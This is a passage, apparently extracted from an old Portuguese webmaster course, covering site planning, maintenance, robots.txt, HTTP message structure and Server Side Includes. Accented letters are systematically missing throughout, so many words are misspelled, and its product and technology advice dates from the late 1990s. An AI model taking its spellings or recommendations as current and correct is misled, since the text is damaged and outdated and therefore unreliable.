Você está na página 1de 24

Webmaster

Este curso tem como objetivo introduzir ao Webmaster conceitos tcnicos para que ele possa, de uma
maneira geral, aperfeioar seus conhecimentos no ambiente www. No curso teremos explicaes sobre o
funcionamento do servidor httpd, dicas para administrar o site e apresentao das mais novas tecnologias
existentes no mercado.

O novo papel do Webmaster


Em algumas pocas da histria, certos tipos de ocupao eram consideradas extremamente
importantes. J foi assim com os mdicos, escribas, telegrafistas, pilotos de avio e vrias outras.
Antigamente, um indivduo que soubesse HTML, um pouco de programao, experincia em NT ou
Unix poderia assumir o papel de Webmaster. O www era apenas um sistema de informao no-linear, e o
Webmaster era a pessoa que entendia como colocar informao nesse sistema. H cinco anos atrs, no
existia nem o nome dessa profisso.
Hoje em dia, essas atribuies mudaram. Ser um genuno Webmaster requer experincia em vrias
reas, desde computao at em economia. A maioria dos Webmasters hoje no passa seu dia fazendo HTML,
eles esto fazendo tudo para melhorar seu site.
Analisando friamente, um site nada mais do que um computador executando um programa, mas com
alguns requisitos especficos. Qualquer pessoa que se intitule Webmaster deve saber:
Sobre o funcionamento do sistema operacional do computador que opera, afinal, esse sistema tem que
estar funcionando perfeitamente para tudo dar certo.
Sobre os protocolos de rede, principalmente TCP/IP (principalmente se voc trabalha num provedor).
Afinal, o web funciona na rede.
Sobre segurana. Voc precisa saber como proteger seu sistema, como detectar invases e recuperar seus
dados, caso isso ocorra. Para isso, e para que seu site funcione ininterruptamente, deve haver um forte
esquema de conteno, que deve ter como pontos fortes a disciplina, a confiabilidade, a disponibilidade e
facilidade de execuo desses procedimentos.
Sobre HTML. Principalmente os truques e as ltimas novidades da linguagem. No vale saber como usa
o editor de HTML; voc deve saber a linguagem.
Sobre programao. Contedo dinmico feito em Java e Javascript, e CGIs so extremamente
necessrios.
Sobre conexo com Banco de Dados. Hoje em dia o servio web est intimamente ligado com o banco de
dados.
Sobre o servidor. Voc deve saber como fazer download, compilar (quando necessrio), configurar,
executar e administrar o servidor.

OK, j fiz tudo isso. Agora eu sou um Webmaster ?


Ainda no. Agora voc tem todos os elementos necessrios, mas seu site est sem nenhum contedo.
Voc precisa aprender a cri-lo. Comece aprendendo a escrever. Demora muito para aprender a escrever
direito, e voc precisa treinar bastante antes de colocar contedo no ar. Normalmente voc vai colocar textos
de outras pessoas no ar, e apesar de ser divertido ver outras pessoas cometendo erros, voc no pode se dar
esse luxo, alm de ter que escrever bem.
Mais ainda, o web um ambiente visual, ento voc vai achar interessante ter noes de design.
Bons designers nascem bons, mas um curso rpido vai te ajudar a no cometer muitos erros, e ajuda a
contratar um bom design. Bom conhecimento de softwares de udio e vdeo tambm so desejveis.
E por ltimo, seria interessante que o Webmaster tambm tivesse noes de Marketing, Direito,
Contabilidade... E at Psicologia. E se mantivesse informado das novidades em seu prprio campo.
Pronto, agora voc pode comear.

O cliente
Do outro lado de toda conexo www, existe um cliente. Isso pode ser dito explicitamente, se voc
vende produtos, ou implicitamente, se voc usa a divulgao da informao como parte da sua estratgia. Seu
site tem que ser desenhado para atender seus clientes, atendendo suas necessidades e encorajando que eles
voltem no futuro. Em suma fazendo da experincia de navegar no seu site uma coisa marcante.
Mas manter os seus clientes felizes no um trabalho trivial. Um dos pontos importantes que o
Webmaster esteja preparado para receber as mensagens mais estranhas, de clientes confusos que no sabem
nem por onde comear. Esses clientes so os que precisam de mais ajuda, a partir da os sites comeam a
fazer diferena.
O Webmaster na verdade est cercado por clientes. Tem o pessoal que navega, tem o chefe, o pessoal
de vendas, e qualquer outra pessoa no seu local de trabalho que espera alguma forma de retorno no www.
Enquanto o pessoal externo quer informaes e produtos, o pessoal interno est de olho no retorno do
investimento, nos dados demogrficos, nos clientes externos. No conseguir agradar os clientes externos
mortal para um site; no conseguir agradar os internos no mnimo vai te deixar com fama de chato.
O cuidado com o cliente interno uma coisa difcil de aprender e executar. Aprender como preparar
apresentaes, mantendo um nvel mais alto para seus gerentes, mais detalhado para os tcnicos. Aprender
tambm a falar um pouco a linguagem das outras reas, enfim, estar por dentro da empresa.
Infelizmente, a maioria de ns no tem tempo de aprender tudo que precisamos. Se a meta se tornar o
melhor Webmaster possvel (e no apenas um Webmaster comum), uma sugesto a de reunir um time de
pessoas que juntas reunam todas essas habilidades. Desta maneira, cada um pode colocar suas especialidades
em prtica, usando como ponto de apoio as habilidades dos outros.
Boas equipes no so timas desde o comeo. H uma evoluo natural, que acontece com os
desafios, sucessos e fracassos. Eles aprendem a se comunicar, a esquecer os erros alheios e a se fortalecer. O
pessoal de informtica so os que mais demoram a se adaptar (pois tem mania de trabalhar sozinhos), mas
quando aprendem a confiar nos parceiros, a satisfao do trabalho em grupo muito grande.
Outra coisa que provavelmente no ir funcionar so os cursos de graduao para computao com
especializao em Webmaster. Um curso que dura 4 ou 5 anos, sendo que a tecnologia totalmente
modificada em 8 ou 10 meses uma coisa que no funciona. H apenas 1 ano falvamos de como seriam os
frames; daqui h um ano, Style Sheet ser coisa do passado. No se pode demorar 4 anos para aprender uma
coisa que muda totalmente em 2.
E finalmente uma palavra sobre o ttulo Webmaster. Muita gente hoje que fez 3 ou 4 HTMLs na
vida se intitula Webmaster, diluindo assim a fora da palavra. Existe uma grande tendncia de unir todos os
servios numa nica palavra, assim, o designer, o gerente de contedo, o gerente do site, etc., todos se auto
intitulam Webmaster. No final, ento, o nome no importa: a dedicao que faz a diferena.

Quais os passos para o desenvolvimento de um novo projeto ?


A maioria dos profissionais do ramo de Webmaster tem seu prprio mtodo para a implementao de
um novo projeto ou site. Aqui, tentamos relacionar os tpicos mais importantes, recomendados por alguns
profissionais da rea.
1. Definio do Conceito.
O primeiro passo importante definir o novos conceitos do produto. Procure trazer todo mundo que
de alguma maneira est envolvido com o assunto (designers, pesquisadores, programadores, gerentes, etc.)
para algumas reunies, de modo que as idias e sugestes da equipe sejam debatidas, discutidas, anotadas.
Inicialmente no devemos nos ater realidade do assunto, mas deixar as idias voarem e tomarem forma.
2. Pesquisa.
Uma vez que o conceito inicial foi definido, voc deve perder tempo para reunir toda a informao
a respeito desse conceito. essencial que voc pesquise tambm na prpria Internet a respeito do assunto,
para saber se algum j fez alguma coisa semelhante. Se for necessrio, divida essa tarefa com a equipe. A
Internet tem vrias maneiras de ser pesquisada, e normalmente leva tempo e muitos links invlidos para
chegar informao que voc precisa. No final desse processo, voc deve ter informao suficiente para
cobrir todos os pontos do conceito. Lembre-se: Um site sem contedo no nada.
3. Organizao.
Depois de ter reunido toda a informao, voc tem que criar a estrutura na qual essa informao ser
apresentada. Essa parte muito importante, e grandes sites, com muitas informaes so prejudicados por
uma estruturao deficiente. A informao tem que estar em local de fcil acesso. Coloque-se no lugar do
cliente, e veja se a estrutura est cumprindo seu papel. Mais uma vez, aceite sugestes.
4. Padro das pginas.
Depois dos passos 2 e 3, hora de definir os links, as funes de Search, os Fruns, o contedo e
navegao de cada pgina. As cores, desenhos, etc., ficam para o prximo passo. No subestime o poder de
navegao do site, e tente fazer as pginas de uma maneira que uma leve a outra. O padro das pginas
parte integrante da informao nela contida. No deixe pginas perdidas, sem seqncia, e sempre d opo
para links de Search ou de contato por email em todas as pginas.
5. Design.
Nessa etapa, o visual do site definido. Ele deve ser bem estudado, e o designer deve ter liberdade
para criar, sem imposies, mas deve estar consciente do objetivo do site. Cores, imagens, cones, setas,
bullets, tudo deve ser implementado. No necessrio criar tudo do zero: Existe muita coisa disponvel na
prpria Internet. Sites de qualidade geralmente fazem suas prprias imagens.
6. Criao do HTML.
Depois das informaes na estrutura correta, e do design dos elementos pronto, hora de montar as
pginas. No esquea de colocar tags para browsers que no suportam frames, tags de imagens alternativas, e
conferir se todos os links esto funcionando.
7. Programao.
Depois do HTML implementado, o programador comea a trabalhar nas tarefas operacionais
automticas, nos formulrios, programas de cadastramento, etc. Se existir muito trabalho de programao ou
o site for muito interativo, considere em envolver o programador antes do final, para j adiantar os pontos
mais simples.

Que posso fazer para tornar meu site mais movimentado ?


Uma das coisas que mais satisfaz um Webmaster ver seu site tornar-se popular. Mesmo com
planejamento e cuidado da execuo do site, isso no acontece. Existem muitos sites que so muito
interessantes na rede, e se voc no tiver alguma coisa que diferencie seu site dos outros, voc corre o risco de
ter pouca gente interessada no que voc tem a mostrar. Abaixo temos algumas dicas interessantes para tornar
seu site mais quente.
1. Atualize o contedo.
Mesmo que as informaes do seu site no sejam atualizadas todo dia, procure mudar pelo menos
sua home page regularmente. Seus clientes precisam de uma boa razo (de preferncia na primeira tela) para
voltarem. Mude alguma coisa, nem que seja a cor.
2. Cuide da primeira tela.
A primeira tela a porta de entrada do seu site. Sempre mantenha alguma coisa engraada, nova ou
informativa na primeira tela. Uma lista das novas pginas de seu site, com os respectivos links para elas
tambm muito interessante.
3. Trabalhe com interao.
Procure colocar seus usurios em contato. Faa com que eles tenham no seu site um ponto de
encontro. Isso pode ser feito com Fruns. No apenas oferea o servio de Fruns puro e simples: Marque
encontros, discusses, traga pessoas famosas para conversar. Isso vai envolver seus usurios.
4. Navegao.
Faa da navegao parte da narrativa. Quando voc estiver num site, voc deve ser capaz de acessar
facilmente links de outra seo desse site, em poucos clicks. Barras de navegaes em cima ou embaixo da
pgina resolvem o problema.
5. Grficos pequenos.
Se seu site utiliza muitas imagens, faa que a espera para carreg-las valha a pena. Muitos usurios
ainda utilizam modems 14.400. No esquea de colocar textos alternativos para as imagens e perca tempo
tentando reduzir o tamanho dos arquivos.
6. Nada bvio.
As pessoas que chegam pela primeira vez no seu site s vezes podem no ter idia do tipo de servio
que voc oferece. Mantenha sentenas descritivas, ou mesmo uma pgina com informaes sobre seus
objetivos. As pessoas que navegam na Web geralmente so de dois tipos: As que lem tudo antes de clicar e
as que clicam tudo antes de ler. Pense nisso quando montando suas pginas. ]
7. Feedback.
Crie maneiras do usurio escrever dando suas opinies. E SIGA as sugestes. Afinal, voc fez o site
para eles.

Cuidando do seu servidor


A manuteno de um site um trabalho constante e exigente. Um site exige manuteno constante e
uma grande dose de perseverana para estar sempre em ordem. A seguir, apresentamos algumas dicas de
como fazer isso.
1.

Use um verificador de HTML.

muito fcil errar na hora de escrever seu HTML. A maioria dos browsers ignora as tags que eles
no entendem, e isso torna os Webmasters preguiosos. Infelizmente, um HTML errado pode trazer
problemas, principalmente com novos produtos que esperam uma codificao impecvel. Antigamente, os
acentos no precisavam ser terminados por ponto-e-vrgula, mas hoje precisam. E o mais importante, um
HTML mal escrito horrvel de manter.
Esses problemas podem ser evitados com o uso de um verificador de HTML. um pequeno
programa que examina seu HTML e aponta os erros do seu texto. Alguns realmente bons so o CSE 3310, o
W3C HTML Validation Service e o Weblint.
2.

Respeite o copyright

OK, todo mundo copia imagens, textos, banners, e qualquer outra coisa que parea interessante na
Internet. Afinal, est tudo l, e s clicar com o mouse para obter o que voc deseja.
Mas o material que est na rede demandou trabalho, e deve ser protegido como qualquer outra
publicao. Isto no vai impedir as pessoas de us-lo, mas vai lhe dar parmetros legais para se proteger se
voc for prejudicado.
Por isso, coloque anncios de copyright em suas pginas, daqueles simples, do tipo
1997 Your Name. Redistribution Prohibited.
Nos EUA, a lei do copyright muito clara, e pune qualquer pessoa que se apossar da produo de
algum sem permisso. A maneira mais educada de copiar algum texto ou imagem de algum pedindo
ANTES de fazer a cpia, por email, por exemplo. Caso a pessoa no libere o uso do texto, NO use. Apesar
da lei brasileira ainda estar engatinhando nesse tipo de assunto, nunca bom facilitar. As leis americanas
protegem esse tipo de material mesmo que no exista nenhum aviso de copyright. E eles punem esse tipo de
cpia no-autorizada da mesma maneira que violao de correspondncia.
2.

Conhea seu site

Nunca se esquea que seu site existe com um propsito. Um site no existe apenas por existir. Cada
Webmaster tem que saber responder algumas questes bsicas:

Por que esse site existe ?


Quem so os meus clientes ?
Como esse site se paga ?
Qual a minha meta com ele ?

A primeira questo no muito difcil. Normalmente voc sabe se seu site se destina venda de
algum produto, divulgao de informaes, etc. Esse o motivo pelo qual voc colocou esse site no ar. Se
voc no sabe, nem se d ao trabalho de se perguntar o resto.
Assumindo que voc saiba a resposta, veja a segunda pergunta. Quem seu pblico alvo ? Eles
sabem como encontrar seu site, nos ndices de busca ? Voc est fazendo propaganda suficiente do seu site ?
O cliente a coisa mais importante de um site, e o fato do seu estar de acordo com as necessidades do seu
meio caminho andado.
Depois disso, vem a pergunta a respeito de dinheiro. Muitos sites so mantidos por fundaes, outros
por empresas, mas todos eles custam dinheiro. Linhas, mquinas, profissionais, tudo isso para colocar no ar
um site, que TEM que gerar algum tipo de lucro. Defina logo de cara seus objetivos em relao a isso.

E por ltimo, defina a meta desse site. Voc est interessado em hits ? Em atender um certo nmero
de clientes ? Em tirar lucro ? Defina sua meta e se esforce para cumpri-la. Definindo a palavra sucesso para
esse site, voc consegue saber exatamente at que ponto voc vai crescer, e isso torna suas expectativas mais
realistas.
4. Defina os padres
Nada pior do que um site inconsistente, confuso, difcil de entender. Normalmente esses problemas
so causados por falta de padronizao. Principalmente em sites grandes, com dezenas de designers. Defina as
cores, os layouts de pgina, o estilo de escrita. Isso torna seu site mais consistente.
Criar boas pginas demanda tempo. Mas uma vez que voc tenha uma pgina padro, provavelmente
muito do cdigo dessa pgina vai ser usado em outras (barra de navegao, copyright, links para contato,
etc.). Uma das sugestes seria usar a tecnologia de server-side includes, ou SSI. Essa tecnologia permite
incluir texto em qualquer parte do seu HTML com um simples comando.
5. Mantenha e use estatsticas
Nmeros so perfeitos para provar as coisas. Um grfico estatstico uma forma maravilhosa de
mostrar que voc est correto. No se esquea que seu site est gerando nmeros o tempo todo: hits, browsers,
taxas de transferncias, etc. Esses nmeros provam a sade do seu site, provam que ele est indo bem, ou no.
Mostram as pginas mais visitadas, e que precisam ser sempre estar atualizadas, pois so o chamariz do seu
site. Preste muita ateno neles, que so os verdadeiros indicadores do seu servio.
6. Facilite a navegao
Lembre-se que navegar significa cruzar, viajar, e no ficar estacionado. Muitos sites se esquecem que
muitos visitantes acontecem por acaso, vindos de outros sites que apontam o seu como referncia ou
simplesmente numa pesquisa num ndice. E quando eles chegam no seu site, isso no garantia de que eles
vo ficar. Eles vo inicialmente testar seu contedo para saber se vale a pena ficar ou no. Lembre-se como
voc mesmo navega, batendo aqui e ali e procurando o que precisa. Faa ento um site que voc gostaria de
encontrar na rede. Pginas pequenas, que permitem rpido download e leitura. Convide o usurio a navegar
no site, atraindo por onde ele mais gosta: velocidade e informao.
7. Crie ndices
Qualquer site com mais de 10 pginas deveria ter um link que permita ao usurio fazer uma pesquisa
em suas pginas utilizando uma palavra chave. Isso importante por dois motivos bsicos: O usurio perde
menos tempo navegando por pginas procurando a informao desejada, que bom para ele. E isso agiliza o
uso da rede, que tem que transferir menos informao intil, o que bom para todos.
Existem produtos comerciais e gratuitos disponveis na rede para isso.
8. Promova a informao
No faa do seu site um monte de pginas difceis de entender. Oferea pginas com informao
clara. Muitos Webmasters so artistas, e cada pgina uma obra de arte, com imagens de fundo, layouts
apurados, grficos de alta definio e fontes perfeitas, mas nada disso muda a informao que est
representada nessa pgina. Tirando todo o glamour dessas pginas, normalmente sobra menos texto do que
o necessrio para encher 10 linhas.
Perca menos tempo tentando fazer seu site parecer bonito; mostre mais contedo. A maioria dos
usurios no tem pacincia de esperar uma pgina muito pesada carregar. Ento, remova os grficos
suprfluos. Aposente o cone Em Construo. Ou a pgina est no ar ou no. Quebre pginas longas em
pginas menores. Disponibilize mecanismos de busca, de modo que seu usurio no precise navegar por todo
o site antes de encontrar o que precisa. Em suma, o importante e o que est escrito.

9. Coloque muitos links


Links para suas prprias pginas, para o incio da seo, para o incio do seu site, para outros sites
com assuntos relacionados, para tudo. s vezes esquecemos que nossos clientes no entram a partir da pgina
inicial, e que a Web s o sucesso que pois h links de todos os lugares para todos os lugares. Tudo bem,
manter links muito chato, mas um dos seus servios como Webmaster manter informaes para seus
clientes.
10. Suporte a vrios browsers
Est provado: um dos browsers mais populares do mundo a impressora. Alm dela, muitos usurios
utilizam browsers alternativos. Ento, procure no desenvolver uma pgina que funciona apenas nos browsers
mais modernos, como o Netscape ou Explorer. Voc ficaria surpreso em sabe que uma boa parte do pessoal
na Internet navega com browsers alternativos. J existem PDAs que permitem a navegao na rede. J
imaginou como seu site fica numa tela preto-e-branco de cristal lquido de 5x7 ?
11. Tenha uma parte grfica eficiente
Todos gostamos de colocar grficos em nossos sites. Grficos so bons, se as imagens so
consistentes, atrativos e servem para melhorar a qualidade de seu contedo. Infelizmente poucos de ns
somos bons nisso, e existem pessoas que colocam o primeiro grfico que encontram s para a pgina no ficar
sem nenhum. ANTES de escrever IMG=, veja se a imagem vai realmente fazer diferena ou no.
12. Ponha o link para o Webmaster
Muitos sites so to mal feitos ou desatualizados que o prprio Webmaster no assina seu trabalho,
no divulga seu email, prefere no aparecer. Voc, que tem orgulho do seu site, procure arrumar um tempo
para colocar seu nome em suas pginas. No precisa ser algo elaborado, cheio de links, apenas algumas
palavras e um link para o seu email. Seu cliente saber assim quem desenhou essa pgina e onde essa pessoa
pode ser encontrada. s vezes as pessoas esto tentando se comunicar com sua empresa e a nica pista que
eles tero ser o seu nome.
E mais uma coisa: se voc colocar seu email nas pginas, LEIA o email, e RESPONDA a todos.
13. Crie uma boa estrutura de diretrios
A ferramenta mais importante para a organizao de um site a sua estrutura de diretrios. Muitos
sites exibem poucos nveis, mantendo muitas pginas, CGIs e applets no mesmo diretrio. Agrupe suas
pginas em diretrios, com links para os nveis acima.
Esse tipo de organizao ajuda seus clientes a perceber onde esto indo, pela estrutura que seu site est
montado. E mais importante, esse tipo de organizao vai manter seu site mais fcil de entender e atualizar.
Voc pode construir pginas intermedirias para subsees, que podem inclusive ser mantidas por outros
designers.
14. Mantenha seus links
Links que no funcionam so a marca registrada de um site que no tem uma boa manuteno. O
Webmaster tem que ser um verdadeiro caador de links errados. Esse um trabalho muito tedioso, e um bom
produto que j fornea um relatrio dos links errados imprescindvel. Para minimizar esse problema dentro
do seu prprio site, use links relativos sempre que possvel.

Como posso fazer propaganda do meu site ?


Depois de colocar seu site no ar, existem vrias coisas que voc pode fazer para avisar seus clientes
que voc tem uma pgina disponvel. Uma das coisas que voc NO deve fazer mandar um aviso para
alguma lista no especializada nesse assunto. Isso chamado SPAM, e no vista com bons olhos pela
maioria das pessoas.
Existem locais apropriados para divulgao de novos sites. Segue uma lista dos mais indicados:

Mande uma mensagem para a lista Usenet COMP.INFOSYSTEMS.WWW.ANNOUNCE. Leia as regras


de envio, ANTES de mandar sua publicidade. Se voc nunca mandou nada para nenhum newsgroup,
familiarize-se com o sistema primeiro.
Submeta a URL para algum servio de ndice, como o Yahoo ou o Lycos.
Submeta a URL para algum servio de subscrio automtica como o Submit it., ou o wURLd Presence.
Pea publicidade paga a alguma revista de informtica, de preferncia quelas que tem como diferencial a
Internet.

Como controlar os robs no meu servidor ?


Por definio, rob (robot) um programa que automaticamente navega pela estrutura da web,
recuperando documentos, e por recurso, recuperando todos os documentos aos quais o documento inicial se
referencia. Existem por volta de 150 servios de indexao ativos hoje na Internet, a maioria deles usando
robs. O mais famoso o Scooter, rob que mantm a base de dados do Altavista.
Normalmente, os robs so ferramentas muito teis para os internautas, e a maioria dos sites libera o
acesso s suas pginas para os robs. Mas alguns robs com programas de pesquisa mais agressivos podem
levar seu servidor www a uma carga muito alta, principalmente se forem mal feitos. Esses robs, por
exemplo, podem chegar a ficar em um loop infinito em pginas cheias de links, causando ainda mais
problemas. Hoje em dia cada vez mais raro esse tipo de coisa, mas ainda pode acontecer.
Felizmente, existe uma maneira de manter o(s) rob(s) fora do seu site. Tudo o que voc tem a fazer
criar um arquivo chamado robots.txt no diretrio de documentos inicial (raiz). O formato do arquivo :
User-agent: *
Disallow: /cgi-bin/
Disallow: /tmp/
Disallow: /~joe/
Nele, voc acha a linha User-agent, que especifica qual o rob que voc est se referindo (* quer
dizer todos eles) e o Disallow indica qual o diretrio onde o rob no deve entrar. Se voc especificar algo do
tipo:
User-agent: *
Disallow: /
Nenhum rob vai entrar no seu site.

Qual o melhor servidor www ?


H um ou dois anos atrs, no se imaginava que a Internet seria TO atrativa que os fabricantes
estariam distribuindo servidores a preos cada vez mais baixos, ou como no caso da Microsoft, que distribui
seu IIS com o sistema operacional. Isso significa menos risco na compra, e torna o ambiente disponvel para
milhares de empresas. Mesmo assim, ainda difcil achar a soluo adequada para a configurao. Antes de
comprar um hardware e um software servidor de HTTP, voc tem que pensar no apenas na performance e
nas features que esse servidor pode ter, mas nas razes nas quais voc est implementando esse site. Seja para
apenas para colocar algumas pginas, seja para disponibilizar seu banco de dados, cada caso tem uma
bordagem diferente.
Unix e WindowsNT so as escolhas mais comuns. Cada um tem suas vantagens. Unix escalvel e
expansvel, um sistema muito estvel e tem um grande suporte para produtos gratuitos e de boa qualidade.
Como o sistema escalvel, caso voc precise mover seus dados para uma mquina mais poderosa, voc
consegue fazer isso sem grandes problemas. O Unix consegue tambm fornecer acesso a outros servios
integrados a servidores www, como servidores de listas de discusso, Chat Rooms, suporte para usurios
ligados via modem, etc. Qualquer administrador Unix coloca um servidor www no ar em minutos. Se voc j
tem uma equipe especializada em Unix e quer economia de dinheiro, recomendamos escolher essa plataforma
como servidora. Se voc quiser um servidor topo de linha, o ideal seriam servidores www da Netscape, como
o Netscape Enterprise Server.
A plataforma NT uma boa escolha se voc no sabe Unix, se tem um oramento apertado, tem uma
cultura Windows no local de trabalho ou tem seus bancos de dados no ambiente. O NT o sistema
operacional mais estvel que a Microsoft produz. Existem mais de 10 servidores www para NT, e o custo da
plataforma de Hardware barato. Mas a coisa mais importante que no NT temos acesso facilitado aos dados
guardados em bases que so padro de mercado (como o Access), via ODBC. Mesmo nesse caso
recomendamos o Netscape Enterprise Server for NT.
O Netscape Enterprise Server, na nossa opinio, o software com melhor interface de instalao e de
administrao, a maior velocidade de resposta e o melhor fator custo/benefcio. Ele usa tecnologias abertas
(como o Java), e voc pode ir agregando funcionalidade ao produto ao instalar pacotes de softwares que
permitam a integrao com banco de dados (Livewire Pro), Indexao para a Intranet (Catalog Server),
Servidor de Calendrio (Calendar Server) e outros tantos produtos. Alm disso, a equipe Netscape produz
software de acordo com as especificaes do W3 Consortium, rgo mximo de padronizao do servio
www.

Funcionamento do servidor www


O ambiente www funciona como um ambiente cliente-servidor, como todos os outros servios
disponveis na Internet. Nesse ambiente, temos dois computadores que se conectam entre si via rede e trocam
informaes.
O pedido mais comum do cliente www para um servidor um pedido de informao. Tanto o
pedido quanto a resposta tem um formato padro, que dividido em 4 sees diferentes. Cada seo tem sua
prpria funo. Algumas so opcionais, outras no. Normalmente todas elas so necessrias para o
funcionamento correto da conexo.
Ambas as mensagens consistem de:

Linha inicial
Linhas de cabealho
Uma linha em branco
Corpo da mensagem (opcional)

Linha Inicial do Pedido


A linha inicial do pedido diferente da linha inicial da resposta. Uma linhas de pedido tem 3 partes,
separadas por espaos: O nome de mtodo (METHOD), o caminho do arquivo pedido (PATH) e a verso do
HTTP que est sendo usada, como no exemplo:
GET /path/to/file/index.html HTTP/1.0

Notas:
O mtodo GET o mais comum. Ele quer dizer: "Me d esse arquivo". Outros mtodos populares so o
POST e o HEAD. O mtodo sempre vem em letras maisculas.
O caminho a parte que vem depois do hostname na URL.
A verso do HTTP sempre vem no formato "HTTP/x.x", sempre em maisculas.
Linha Inicial da Resposta
A linha inicial da resposta, chamada de STATUS LINE, tambm tem 3 partes separadas por espaos:
A primeira a verso do HTTP, a segunda um cdigo de status que indica o resultado do pedido, e uma
frase em ingls descrevendo o cdigo de status. Uma tpica linha de status seria:
HTTP/1.0 200 OK
ou
HTTP/1.0 404 Not Found

Notas:

A verso do HTTP vm no mesmo formato da linha inicial do pedido: "HTTP/x.x".


cdigo de status sempre tem 3 dgitos, e se dividem em categorias:
1xx - indica uma mensagem informativa
2xx - indica sucesso
3xx - indica redirecionamento para outro endereco (URL)
4xx - indica um erro no cliente (browser)
5xx - indica um erro no servidor

Funcionamento do servidor www (cont.)


Linhas de Cabealho
As linhas de cabealho servem para informar o cliente sobre a natureza da resposta que o servidor
est enviando ou para informar o servidor sobre os parmetros que o cliente est enviando, ANTES de
realmente dos dados serem enviados. Tambm identificado o endereo da mquina que est efetuando o
pedido (IP Address), para fins estatsticos.
Essas linhas so muito importantes hoje em dia, com o advento dos plug-ins. Os plug-ins so certos
programas que esto na Internet e servem para aumentar as capacidades de interpretao do browser,
permitindo que o Netscape ou o Explorer possam receber e interpretar corretamente pginas multimdia, ou
servidores de udio sob demanda, vdeo sob demanda, VRML, e outros formatos de "mercado". Falaremos
mais a esse respeito na seo de clientes e servidores.
As linhas de cabealho geralmente so enviadas em modo texto, com um cabealho por linha (caso
haja mais de um) no formato:
"Header-Name: value".

Terminando com um CRLF (enter). O formato o mesmo utilizado em email, conforme definio
RFC 822, seo 3.
A verso 1.0 do HTTP permite 16 tipos diferentes de cabealhos, embora sejam todos opcionais. A
verso 1.1 permite 46 cabealhos e um se tornou obrigatrio. o HOST, que identifica a mquina que est se
comunicando.
O corpo da mensagem
Uma mensagem HTTP pode ter um corpo contendo dados depois de suas linhas de cabealho. Em
uma resposta, normalmente temos um arquivo que est sendo retornado para o cliente, ou um texto com um
cdigo, caso tenha ocorrido algum erro. Num pedido, podem ser os parmetros de um formulrio, por
exemplo.
O corpo da mensagem normalmente um arquivo HTML. Os autores de pginas podem incluir
informaes relevantes na pgina utilizando-se a tag <META> do HTML. Normalmente informa-se o nome
do autor da pgina, data de expirao e assunto tratado no documento. A informao muito til
principalmente para os mecanismos de busca automtica na Internet, que se utilizam dessas informaes para
classificar os arquivos.
Se uma comunicao HTTP inclui um corpo, normalmente seu contedo j foi descrito num
cabealho anterior. Os cabealhos mais utilizados para essa descrio so:
Content-Type: Informa o tipo MIME do dado no corpo. Exemplo: text/html, image/jpg.
Content-Lenght: Informa o tamanho em bytes do corpo.

Caso no exista nenhum cabealho, o servidor vai tentar descobrir qual o tipo do arquivo sendo
transmitido.

Funcionamento do servidor www (cont.)


Cada vez que um cliente conecta no seu site, seu browser envia o IP address sob o qual ele se
conecta. E normalmente apenas isso que voc tem para validar o acesso. Uma vez com esse nmero (ou com
o nome da mquina depois de consulta ao DNS, dependendo da configurao de seu servidor), o servidor
segue uma srie de passos para descobrir se aquele cliente tem acesso quele documento em particular. O
sistema de segurana baseado no IP address o centro do sistema de segurana do servidor www.
O servidor na verdade funciona como um porteiro, que recebe os pacotes vindos da rede, os
identifica, interpreta, e executa o pedido. Para acessar os arquivos do sistema, o servidor precisa ser executado
com algum privilgio, para que consiga acesso aos arquivos. Esses privilgios devem ser mnimos, de
preferncia apenas de leitura. Portanto, no h necessidade de executar o servidor com privilgios especiais.
Se por acaso seu servidor precisa ser executado com privilgios administrativos, algo est errado, e deve ser
corrigido.
importante lembrar que apesar de parecer e operar de maneira semelhante, no existe conexo
entre os usurios e senhas do servidor www e do sistema operacional. comum ver as pessoas confundir os
dois sistemas, e vrios Webmasters iniciantes criam contas no sistema quando querem dar acesso a seus
clientes externos. Esse tipo de conceito totalmente falso.
O servidor www funciona normalmente baseado num nico usurio, que serve para recuperar todas
as pginas. No necessrio criar outros usurios para restrio de acesso.
Importante notar que o HTTP um protocolo stateless, isto , no mantm nenhum tipo de conexo
entre as mensagens.
Caso tenhamos imagens, frames, programas Java, arquivos de som ou qualquer outro componente
alm da linguagem HTML que est presente na pgina pedida, o cliente faz os pedidos subsequentes para
trazer essas informaes.

O que e como usar Server Side Includes ?


A maioria dos servidores www operam da mesma forma bsica: recebem o pedido, validam o acesso,
recuperam o documento e o enviam de volta para o cliente. Hoje em dia, existe uma ferramenta muito prtica
para que o servidor www manipule informaes customizadas, e s vezes at diferenciada para cada acesso.
Essa ferramenta o SSI, ou Server Side Includes.
Como o prprio nome j diz, a mgica est do lado do servidor. Na verdade, so comandos
simples, que includos no arquivo html, fazem com que o servidor execute algum programa ou fornea
alguma informao, que nem sempre o autor sabe de primeira mo, ou que varia constantemente. O servidor
percebe a linha na hora que est enviando o html, retira a linha do texto, e inclui o que a diretiva pediu, pode
ser uma varivel de ambiente, um programa, praticamente qualquer coisa.
Nem todos os servidores vem preparados para rodar o SSI. Se voc no utiliza, no tem porque
gastar tempo do servidor www para analisar os arquivos. Cada servidor tem sua maneira prpria de configurar
o SSI. Consulte o manual do seu servidor para maiores informaes.
O ideal alterar o nome do arquivo com essas extenses parta .shtml, incluir a linha no
MIME.TYPES (text/x-server-parsed-html .shtml) e configurar o servidor para observar a extenso. Dessa
maneira, arquivos html e shtml podem conviver juntos no mesmo servidor, sem gastar recursos em arquivos
estticos.
Todas as tags shtml tem o seguinte formato padro:
<!--#command tag1=value tag2=value -->

Existem 6 comandos diferentes, com parmetros especficos para cada um deles. Falaremos a seguir
dos mais importantes.
<!--#fsize file=documento.html --> Mostra o tamanho do arquivo, em bytes.
<!--#flastmod virtual=/somedir/other.html --> Data da ltima alterao.
<!--#echo var=LAST_MODIFIED --> Data da ltima alterao.
<!--#echo var=DATE_LOCAL --> Data e hora local.
<!--#echo var=DATE_GMT --> Data e hora GMT.
<!--#echo var=DOCUMENT_NAME --> Nome do documento.
<!--#echo var=DOCUMENT_URI --> Localizao do documento no servidor.
<!--#echo var=QUERY_STRING --> Varivel QUERY_STRING (ver CGI).
<!--#include virtual=rodape.html --> Inclui o arquivo rodape.html a partir da linha.

Mas o comando mais importante e o exec. Ele permite que seja executado um programa e que seu
resultado seja automaticamente colocado na linha, como no exemplo:
<!--#exec cmd=/usr/local/bin/contador -->

Que pode ser um contador de acesso simples.


Um exemplo mais interessante seria a capacidade de fornecer contedo dinmico, dependendo do
domnio que acessou seu servidor. Vamos supor que quero que meus clientes vejam uma pgina especfica ao
acessar meu site, e meus funcionrios vejam outra. Posso fazer isso baseado no domnio da mquina que est
